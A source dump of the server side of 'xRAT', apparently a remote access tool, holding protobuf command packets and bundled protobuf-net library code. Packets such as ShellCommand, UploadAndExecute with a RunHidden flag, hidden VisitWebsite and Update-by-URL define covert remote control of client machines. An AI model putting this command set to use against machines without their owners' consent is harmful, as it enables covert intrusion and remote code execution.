/Server/Core/Packets/ServerPackets/DownloadFileCanceled.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFileCanceled : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | public DownloadFileCanceled() 12 | { 13 | } 14 | 15 | public DownloadFileCanceled(int id) 16 | { 17 | this.ID = id; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Drives.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Drives : IPacket 7 | { 8 | public Drives() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetProcesses.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetProcesses : IPacket 7 | { 8 | public GetProcesses() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetStartupItems.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetStartupItems : IPacket 7 | { 8 | public GetStartupItems() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetSystemInfo.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetSystemInfo : IPacket 7 | { 8 | public GetSystemInfo() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/InitializeCommand.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class InitializeCommand : IPacket 7 | { 8 | public InitializeCommand() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/KillProcess.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class KillProcess : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int PID { get; set; } 10 | 11 | public KillProcess() 12 | { 13 | } 14 | 15 | public KillProcess(int pid) 16 | { 17 | this.PID = pid; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Monitors.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Monitors : IPacket 7 | { 8 | public Monitors() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/MouseClick.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class MouseClick : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public bool LeftClick { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool DoubleClick { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int X { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int Y { get; set; } 19 | 20 | public MouseClick() 21 | { 22 | } 23 | 24 | public MouseClick(bool leftclick, bool doubleclick, int x, int y) 25 | { 26 | this.LeftClick = leftclick; 27 | this.DoubleClick = doubleclick; 28 | this.X = x; 29 | this.Y = y; 30 | } 31 | 32 | public void Execute(Client client) 33 | { 34 | client.Send(this); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Reconnect.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Reconnect : IPacket 7 | { 8 | public Reconnect() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Rename.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Rename : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Path { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string NewPath { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public bool IsDir { get; set; } 16 | 17 | public Rename() 18 | { 19 | } 20 | 21 | public Rename(string path, string newpath, bool isdir) 22 | { 23 | this.Path = path; 24 | this.NewPath = newpath; 25 | this.IsDir = isdir; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/ShellCommand.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class ShellCommand : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Command { get; set; } 10 | 11 | public ShellCommand() 12 | { 13 | } 14 | 15 | public ShellCommand(string command) 16 | { 17 | this.Command = command; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/ShowMessageBox.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class ShowMessageBox : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Caption { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Text { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public string MessageboxButton { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public string MessageboxIcon { get; set; } 19 | 20 | public ShowMessageBox() 21 | { 22 | } 23 | 24 | public ShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon) 25 | { 26 | this.Caption = caption; 27 | this.Text = text; 28 | this.MessageboxButton = messageboxbutton; 29 | this.MessageboxIcon = messageboxicon; 30 | } 31 | 32 | public void Execute(Client client) 33 | { 34 | client.Send(this); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/StartProcess.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class StartProcess : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Processname { get; set; } 10 | 11 | public StartProcess() 12 | { 13 | } 14 | 15 | public StartProcess(string processname) 16 | { 17 | this.Processname = processname; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Uninstall.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Uninstall : IPacket 7 | { 8 | public Uninstall() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/Update.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Update : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string DownloadURL { get; set; } 10 | 11 | public Update() 12 | { 13 | } 14 | 15 | public Update(string downloadurl) 16 | { 17 | this.DownloadURL = downloadurl; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/UploadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class UploadAndExecute : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string FileName { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public byte[] Block { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int MaxBlocks { get; set; } 19 | 20 | [ProtoMember(5)] 21 | public int CurrentBlock { get; set; } 22 | 23 | [ProtoMember(6)] 24 | public bool RunHidden { get; set; } 25 | 26 | public UploadAndExecute() 27 | { 28 | } 29 | 30 | public UploadAndExecute(int id, string filename, byte[] block, int maxblocks, int currentblock, bool runhidden) 31 | { 32 | this.ID = id; 33 | this.FileName = filename; 34 | this.Block = block; 35 | this.MaxBlocks = maxblocks; 36 | this.CurrentBlock = currentblock; 37 | this.RunHidden = runhidden; 38 | } 39 | 40 | public void Execute(Client client) 41 | { 42 | client.Send(this); 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/VisitWebsite.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class VisitWebsite : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string URL { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool Hidden { get; set; } 13 | 14 | public VisitWebsite() 15 | { 16 | } 17 | 18 | public VisitWebsite(string url, bool hidden) 19 | { 20 | this.URL = url; 21 | this.Hidden = hidden; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Server/Core/Packets/UnknownPacket.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xServer.Core.Packets 4 | { 5 | [ProtoContract] 6 | public class UnknownPacket : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public IPacket Packet { get; set; } 10 | 11 | public UnknownPacket() 12 | { 13 | } 14 | 15 | public UnknownPacket(IPacket packet) 16 | { 17 | Packet = packet; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/DataFormat.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Sub-format to use when serializing/deserializing data 5 | /// 6 | public enum DataFormat 7 | { 8 | /// 9 | /// Uses the default encoding for the data-type. 10 | /// 11 | Default, 12 | 13 | /// 14 | /// When applied to signed integer-based data (including Decimal), this 15 | /// indicates that zigzag variant encoding will be used. This means that values 16 | /// with small magnitude (regardless of sign) take a small amount 17 | /// of space to encode. 18 | /// 19 | ZigZag, 20 | 21 | /// 22 | /// When applied to signed integer-based data (including Decimal), this 23 | /// indicates that two's-complement variant encoding will be used. 24 | /// This means that any -ve number will take 10 bytes (even for 32-bit), 25 | /// so should only be used for compatibility. 26 | /// 27 | TwosComplement, 28 | 29 | /// 30 | /// When applied to signed integer-based data (including Decimal), this 31 | /// indicates that a fixed amount of space will be used. 32 | /// 33 | FixedSize, 34 | 35 | /// 36 | /// When applied to a sub-message, indicates that the value should be treated 37 | /// as group-delimited. 38 | /// 39 | Group 40 | } 41 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/GlobalSuppressions.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Core/ProtoBuf/GlobalSuppressions.cs -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/IExtensible.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Indicates that the implementing type has support for protocol-buffer 5 | /// extensions. 6 | /// 7 | /// Can be implemented by deriving from Extensible. 8 | public interface IExtensible 9 | { 10 | /// 11 | /// Retrieves the extension object for the current 12 | /// instance, optionally creating it if it does not already exist. 13 | /// 14 | /// Should a new extension object be 15 | /// created if it does not already exist? 16 | /// The extension object if it exists (or was created), or null 17 | /// if the extension object does not exist or is not available. 18 | /// The createIfMissing argument is false during serialization, 19 | /// and true during deserialization upon encountering unexpected fields. 20 | IExtension GetExtensionObject(bool createIfMissing); 21 | } 22 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ImplicitFields.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Specifies the method used to infer field tags for members of the type 7 | /// under consideration. Tags are deduced using the invariant alphabetic 8 | /// sequence of the members' names; this makes implicit field tags very brittle, 9 | /// and susceptible to changes such as field names (normally an isolated 10 | /// change). 11 | /// 12 | public enum ImplicitFields 13 | { 14 | /// 15 | /// No members are serialized implicitly; all members require a suitable 16 | /// attribute such as [ProtoMember]. This is the recmomended mode for 17 | /// most scenarios. 18 | /// 19 | None = 0, 20 | 21 | /// 22 | /// Public properties and fields are eligible for implicit serialization; 23 | /// this treats the public API as a contract. Ordering beings from ImplicitFirstTag. 24 | /// 25 | AllPublic = 1, 26 | 27 | /// 28 | /// Public and non-public fields are eligible for implicit serialization; 29 | /// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag. 30 | /// 31 | AllFields = 2 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/PrefixStyle.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Specifies the type of prefix that should be applied to messages. 5 | /// 6 | public enum PrefixStyle 7 | { 8 | /// 9 | /// No length prefix is applied to the data; the data is terminated only be the end of the stream. 10 | /// 11 | None, 12 | 13 | /// 14 | /// A base-128 length prefix is applied to the data (efficient for short messages). 15 | /// 16 | Base128, 17 | 18 | /// 19 | /// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility). 20 | /// 21 | Fixed32, 22 | 23 | /// 24 | /// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility). 25 | /// 26 | Fixed32BigEndian 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ProtoConverterAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Indicates that a static member should be considered the same as though 7 | /// were an implicit / explicit conversion operator; in particular, this 8 | /// is useful for conversions that operator syntax does not allow, such as 9 | /// to/from interface types. 10 | /// 11 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = true)] 12 | public class ProtoConverterAttribute : Attribute 13 | { 14 | } 15 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ProtoEnumAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Used to define protocol-buffer specific behavior for 7 | /// enumerated values. 8 | /// 9 | [AttributeUsage(AttributeTargets.Field, AllowMultiple = false)] 10 | public sealed class ProtoEnumAttribute : Attribute 11 | { 12 | /// 13 | /// Gets or sets the specific value to use for this enum during serialization. 14 | /// 15 | public int Value 16 | { 17 | get { return enumValue; } 18 | set 19 | { 20 | this.enumValue = value; 21 | hasValue = true; 22 | } 23 | } 24 | 25 | /// 26 | /// Indicates whether this instance has a customised value mapping 27 | /// 28 | /// true if a specific value is set 29 | public bool HasValue() 30 | { 31 | return hasValue; 32 | } 33 | 34 | private bool hasValue; 35 | private int enumValue; 36 | 37 | /// 38 | /// Gets or sets the defined name of the enum, as used in .proto 39 | /// (this name is not used during serialization). 40 | /// 41 | public string Name 42 | { 43 | get { return name; } 44 | set { name = value; } 45 | } 46 | 47 | private string name; 48 | } 49 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ProtoException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 4 | using System.Runtime.Serialization; 5 | #endif 6 | 7 | namespace ProtoBuf 8 | { 9 | /// 10 | /// Indicates an error during serialization/deserialization of a proto stream. 11 | /// 12 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 13 | [Serializable] 14 | #endif 15 | public class ProtoException : Exception 16 | { 17 | /// Creates a new ProtoException instance. 18 | public ProtoException() 19 | { 20 | } 21 | 22 | /// Creates a new ProtoException instance. 23 | public ProtoException(string message) : base(message) 24 | { 25 | } 26 | 27 | /// Creates a new ProtoException instance. 28 | public ProtoException(string message, Exception innerException) : base(message, innerException) 29 | { 30 | } 31 | 32 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 33 | /// Creates a new ProtoException instance. 34 | protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { } 35 | #endif 36 | } 37 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Indicates that a member should be excluded from serialization; this 7 | /// is only normally used when using implict fields. 8 | /// 9 | [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, 10 | AllowMultiple = false, Inherited = true)] 11 | public class ProtoIgnoreAttribute : Attribute 12 | { 13 | } 14 | 15 | /// 16 | /// Indicates that a member should be excluded from serialization; this 17 | /// is only normally used when using implict fields. This allows 18 | /// ProtoIgnoreAttribute usage 19 | /// even for partial classes where the individual members are not 20 | /// under direct control. 21 | /// 22 | [AttributeUsage(AttributeTargets.Class, 23 | AllowMultiple = true, Inherited = false)] 24 | public sealed class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute 25 | { 26 | /// 27 | /// Creates a new ProtoPartialIgnoreAttribute instance. 28 | /// 29 | /// Specifies the member to be ignored. 30 | public ProtoPartialIgnoreAttribute(string memberName) 31 | : base() 32 | { 33 | if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); 34 | this.memberName = memberName; 35 | } 36 | 37 | /// 38 | /// The name of the member to be ignored. 39 | /// 40 | public string MemberName 41 | { 42 | get { return memberName; } 43 | } 44 | 45 | private readonly string memberName; 46 | } 47 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/ByteSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | 4 | #if FEAT_IKVM 5 | using Type = IKVM.Reflection.Type; 6 | #endif 7 | 8 | namespace ProtoBuf.Serializers 9 | { 10 | internal sealed class ByteSerializer : IProtoSerializer 11 | { 12 | public Type ExpectedType 13 | { 14 | get { return expectedType; } 15 | } 16 | 17 | #if FEAT_IKVM 18 | readonly Type expectedType; 19 | #else 20 | private static readonly Type expectedType = typeof (byte); 21 | #endif 22 | 23 | public ByteSerializer(ProtoBuf.Meta.TypeModel model) 24 | { 25 | #if FEAT_IKVM 26 | expectedType = model.MapType(typeof(byte)); 27 | #endif 28 | } 29 | 30 | bool IProtoSerializer.RequiresOldValue 31 | { 32 | get { return false; } 33 | } 34 | 35 | bool IProtoSerializer.ReturnsValue 36 | { 37 | get { return true; } 38 | } 39 | 40 | #if !FEAT_IKVM 41 | public void Write(object value, ProtoWriter dest) 42 | { 43 | ProtoWriter.WriteByte((byte) value, dest); 44 | } 45 | 46 | public object Read(object value, ProtoReader source) 47 | { 48 | Helpers.DebugAssert(value == null); // since replaces 49 | return source.ReadByte(); 50 | } 51 | #endif 52 | 53 | #if FEAT_COMPILER 54 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 55 | { 56 | ctx.EmitBasicWrite("WriteByte", valueFrom); 57 | } 58 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 59 | { 60 | ctx.EmitBasicRead("ReadByte", ExpectedType); 61 | } 62 | #endif 63 | } 64 | } 65 | 66 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/CharSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | #if FEAT_IKVM 4 | using Type = IKVM.Reflection.Type; 5 | using IKVM.Reflection; 6 | #else 7 | using System.Reflection; 8 | 9 | #endif 10 | 11 | namespace ProtoBuf.Serializers 12 | { 13 | internal sealed class CharSerializer : UInt16Serializer 14 | { 15 | #if FEAT_IKVM 16 | readonly Type expectedType; 17 | #else 18 | private static readonly Type expectedType = typeof (char); 19 | #endif 20 | 21 | public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model) 22 | { 23 | #if FEAT_IKVM 24 | expectedType = model.MapType(typeof(char)); 25 | #endif 26 | } 27 | 28 | public override Type ExpectedType 29 | { 30 | get { return expectedType; } 31 | } 32 | 33 | #if !FEAT_IKVM 34 | public override void Write(object value, ProtoWriter dest) 35 | { 36 | ProtoWriter.WriteUInt16((ushort) (char) value, dest); 37 | } 38 | 39 | public override object Read(object value, ProtoReader source) 40 | { 41 | Helpers.DebugAssert(value == null); // since replaces 42 | return (char) source.ReadUInt16(); 43 | } 44 | #endif 45 | // no need for any special IL here; ushort and char are 46 | // interchangeable as long as there is no boxing/unboxing 47 | } 48 | } 49 | 50 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using ProtoBuf.Meta; 3 | 4 | namespace ProtoBuf.Serializers 5 | { 6 | internal interface IProtoTypeSerializer : IProtoSerializer 7 | { 8 | bool HasCallbacks(TypeModel.CallbackType callbackType); 9 | bool CanCreateInstance(); 10 | #if !FEAT_IKVM 11 | object CreateInstance(ProtoReader source); 12 | void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context); 13 | #endif 14 | #if FEAT_COMPILER 15 | void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType); 16 | #endif 17 | #if FEAT_COMPILER 18 | void EmitCreateInstance(Compiler.CompilerContext ctx); 19 | #endif 20 | } 21 | } 22 | 23 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/ISerializerProxy.cs: -------------------------------------------------------------------------------- 1 |  2 | #if !NO_RUNTIME 3 | 4 | namespace ProtoBuf.Serializers 5 | { 6 | internal interface ISerializerProxy 7 | { 8 | IProtoSerializer Serializer { get; } 9 | } 10 | } 11 | 12 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf.Serializers 2 | { 3 | /* 4 | sealed class KeyValuePairDecorator : IProtoSerializer 5 | { 6 | private readonly Type pairType; 7 | private readonly IProtoSerializer keyTail, valueTail; 8 | public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) { 9 | Helpers.DebugAssert(pairType != null); 10 | Helpers.DebugAssert(keyTail != null); 11 | Helpers.DebugAssert(valueTail != null); 12 | Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch"); 13 | this.pairType = pairType; 14 | this.keyTail = keyTail; 15 | this.valueTail = valueTail; 16 | } 17 | 18 | public Type ExpectedType { get { return pairType;}} 19 | public bool ReturnsValue { get { return true; } } 20 | public bool RequiresOldValue { get { return true; } } 21 | public abstract void Write(object value, ProtoWriter dest) 22 | { 23 | 24 | } 25 | public abstract object Read(object value, ProtoReader source) 26 | { 27 | 28 | } 29 | #if FEAT_COMPILER 30 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 31 | { 32 | throw new NotImplementedException(); 33 | } 34 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { 35 | throw new NotImplementedException(); 36 | } 37 | #endif 38 | }*/ 39 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | using ProtoBuf.Meta; 4 | #if FEAT_IKVM 5 | using Type = IKVM.Reflection.Type; 6 | using IKVM.Reflection; 7 | #else 8 | using System.Reflection; 9 | 10 | #endif 11 | 12 | namespace ProtoBuf.Serializers 13 | { 14 | internal abstract class ProtoDecoratorBase : IProtoSerializer 15 | { 16 | public abstract Type ExpectedType { get; } 17 | protected readonly IProtoSerializer Tail; 18 | 19 | protected ProtoDecoratorBase(IProtoSerializer tail) 20 | { 21 | this.Tail = tail; 22 | } 23 | 24 | public abstract bool ReturnsValue { get; } 25 | public abstract bool RequiresOldValue { get; } 26 | #if !FEAT_IKVM 27 | public abstract void Write(object value, ProtoWriter dest); 28 | public abstract object Read(object value, ProtoReader source); 29 | #endif 30 | 31 | #if FEAT_COMPILER 32 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitWrite(ctx, valueFrom); } 33 | protected abstract void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); 34 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitRead(ctx, valueFrom); } 35 | protected abstract void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom); 36 | #endif 37 | } 38 | } 39 | 40 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs: -------------------------------------------------------------------------------- 1 |  2 | #if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER 3 | using System; 4 | using System.ServiceModel.Description; 5 | using System.ServiceModel.Dispatcher; 6 | 7 | namespace ProtoBuf.ServiceModel 8 | { 9 | /// 10 | /// Uses protocol buffer serialization on the specified operation; note that this 11 | /// must be enabled on both the client and server. 12 | /// 13 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] 14 | public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior 15 | { 16 | void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) 17 | { } 18 | 19 | void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation) 20 | { 21 | IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); 22 | innerBehavior.ApplyClientBehavior(operationDescription, clientOperation); 23 | } 24 | 25 | void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation) 26 | { 27 | IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); 28 | innerBehavior.ApplyDispatchBehavior(operationDescription, dispatchOperation); 29 | } 30 | 31 | void IOperationBehavior.Validate(OperationDescription operationDescription) 32 | { } 33 | } 34 | } 35 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs: -------------------------------------------------------------------------------- 1 |  2 | #if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER 3 | using System; 4 | using System.ServiceModel.Configuration; 5 | 6 | namespace ProtoBuf.ServiceModel 7 | { 8 | /// 9 | /// Configuration element to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. 10 | /// 11 | /// 12 | public class ProtoBehaviorExtension : BehaviorExtensionElement 13 | { 14 | /// 15 | /// Creates a new ProtoBehaviorExtension instance. 16 | /// 17 | public ProtoBehaviorExtension() 18 | { 19 | } 20 | 21 | /// 22 | /// Gets the type of behavior. 23 | /// 24 | public override Type BehaviorType 25 | { 26 | get 27 | { 28 | return typeof(ProtoEndpointBehavior); 29 | } 30 | } 31 | 32 | /// 33 | /// Creates a behavior extension based on the current configuration settings. 34 | /// 35 | /// The behavior extension. 36 | protected override object CreateBehavior() 37 | { 38 | return new ProtoEndpointBehavior(); 39 | } 40 | } 41 | } 42 | #endif -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/SubItemToken.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Used to hold particulars relating to nested objects. This is opaque to the caller - simply 5 | /// give back the token you are given at the end of an object. 6 | /// 7 | public struct SubItemToken 8 | { 9 | internal readonly int value; 10 | 11 | internal SubItemToken(int value) 12 | { 13 | this.value = value; 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /Server/Core/ProtoBuf/WireType.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Indicates the encoding used to represent an individual value in a protobuf stream 5 | /// 6 | public enum WireType 7 | { 8 | /// 9 | /// Represents an error condition 10 | /// 11 | None = -1, 12 | 13 | /// 14 | /// Base-128 variant-length encoding 15 | /// 16 | Variant = 0, 17 | 18 | /// 19 | /// Fixed-length 8-byte encoding 20 | /// 21 | Fixed64 = 1, 22 | 23 | /// 24 | /// Length-variant-prefixed encoding 25 | /// 26 | String = 2, 27 | 28 | /// 29 | /// Indicates the start of a group 30 | /// 31 | StartGroup = 3, 32 